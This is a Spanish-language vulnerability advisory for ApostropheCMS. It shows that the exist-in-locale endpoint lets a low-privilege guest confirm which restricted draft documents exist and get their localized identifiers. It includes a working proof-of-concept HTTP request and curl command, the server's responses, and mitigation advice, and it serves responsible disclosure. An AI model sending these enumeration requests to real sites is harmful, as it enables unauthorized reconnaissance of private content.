ApostropheCMS: Omisión de autorización a nivel de objeto en exist-in-locale revela identificadores de borradores restringidos

Resumen

La API exist-in-locale de ApostropheCMS permite a un usuario autenticado con pocos privilegios determinar si existen documentos restringidos en una configuración regional (locale) y modo específicos, incluido el modo borrador (draft). El endpoint devuelve identificadores de documentos localizados sin aplicar los criterios de autorización de visualización o edición a nivel de documento.

El problema se reprodujo en una aplicación local real de ApostropheCMS ejecutando el código fuente analizado. La prueba utilizó una cuenta de invitado (guest) sintética y registros de borradores restringidos sintéticos.

Detalles

Ruta de código fuente vulnerable exacta: packages/apostrophe/modules/@apostrophecms/i18n/index.js:503-529 Ruta exacta de la API: POST /api/v1/@apostrophecms/i18n/exist-in-locale El manejador verifica únicamente que el solicitante esté autenticado:

if (!req.user) {
  throw self.apos.error('notfound');
}

Luego realiza una búsqueda directa en la base de datos utilizando identificadores de documentos, locale y modo controlados por el atacante:

const found = await self.apos.doc.db.find({
  aposLocale: `${locale}:${mode}`,
  aposDocId: {
    $in: ids.map(self.apos.doc.toAposDocId)
  }
}).project({
  _id: 1,
  aposDocId: 1
}).toArray();

Esta consulta no aplica:

• .permission('view')
• .permission('edit')
• apos.permission.criteria(req, 'view')
• autorización de documento a nivel de objeto
• autorización específica por locale

El endpoint acepta múltiples IDs, lo que permite el sondeo masivo.

Prueba de concepto

La aplicación local se estaba ejecutando en: http://127.0.0.1:3000 La cuenta de prueba tenía el rol de bajos privilegios: guest La base de datos local contenía registros sintéticos para el ID base del documento restringido:

wv2l4rbaplgzkg80zkne4aoz:en:draft
wv2l4rbaplgzkg80zkne4aoz:fr:draft

Todas las credenciales y cookies están intencionalmente ocultadas a continuación.

POST /api/v1/@apostrophecms/i18n/exist-in-locale HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-guest-session>
Content-Type: application/json
Accept: application/json

{
  "ids": [
    "wv2l4rbaplgzkg80zkne4aoz:en:draft",
    "ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft"
  ],
  "locale": "fr",
  "mode": "draft"
}

Comando equivalente

curl -i -sS -X POST \
  'http://127.0.0.1:3000/api/v1/@apostrophecms/i18n/exist-in-locale' \
  -b /path/to/redacted-guest-cookie-jar.txt \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json' \
  --data-raw '{
    "ids": [
      "wv2l4rbaplgzkg80zkne4aoz:en:draft",
      "ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft"
    ],
    "locale": "fr",
    "mode": "draft"
  }'

Respuesta observada

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8

{
  "originalLocaleIds": [
    "wv2l4rbaplgzkg80zkne4aoz:en:draft"
  ],
  "newLocaleIds": [
    "wv2l4rbaplgzkg80zkne4aoz:fr:draft"
  ],
  "aposDocIds": [
    "wv2l4rbaplgzkg80zkne4aoz"
  ]
}

El ID que no existía se omitió de la respuesta. Esto demuestra que el endpoint funciona como un oráculo de existencia.

Control de autorización Utilizando la misma sesión de invitado autenticada y el identificador de documento localizado devuelto anteriormente, se consultó la API de páginas normal:

GET /api/v1/@apostrophecms/page/wv2l4rbaplgzkg80zkne4aoz:fr:draft HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-guest-session>
Accept: application/json

Respuesta observada:

HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8

{
  "name": "forbidden",
  "data": {},
  "message": "forbidden"
}

Esto demuestra claramente el límite de autorización:

Validación de impacto adicional

El comportamiento también se probó a través de múltiples combinaciones de locales y modos:

Esto confirma que el endpoint se puede utilizar para descubrir si un documento tiene un borrador localizado en un locale en particular y para realizar enumeración masiva.

Impacto

Un usuario autenticado con bajos privilegios puede:

• Sondear IDs base de documentos arbitrarios conocidos o adivinados.
• Determinar si documentos restringidos tienen versiones localizadas.
• Determinar si existen versiones preliminares no publicadas.
• Identificar qué locales contienen registros coincidentes.
• Obtener identificadores exactos de documentos localizados.
• Enviar múltiples IDs en una sola solicitud para reconocimiento masivo.

El problema no revela directamente el contenido del documento ni otorga privilegios de escritura, publicación o eliminación. Durante las pruebas, no se modificó, publicó, eliminó ni expuso ningún contenido más allá de los metadatos de los identificadores.

Mitigación recomendada

Antes de ejecutar la consulta en la base de datos, aplique los mismos criterios de autorización a nivel de documento utilizados por la API regular de documentos. La consulta debe limitarse a los documentos que el solicitante esté autorizado a ver en el locale y modo solicitados. Las consultas de borradores deberían requerir además el permiso de visualización de borradores adecuado para el documento específico, no simplemente la autenticación o una verificación de roles global. El endpoint también debe evitar devolver identificadores de documentos localizados para registros que no cumplan con los criterios de permisos a nivel de documento del solicitante.

• [1] ApostropheCMS i18n source — existInLocale handler, lines 503–529
• [2] Official ApostropheCMS i18n API documentation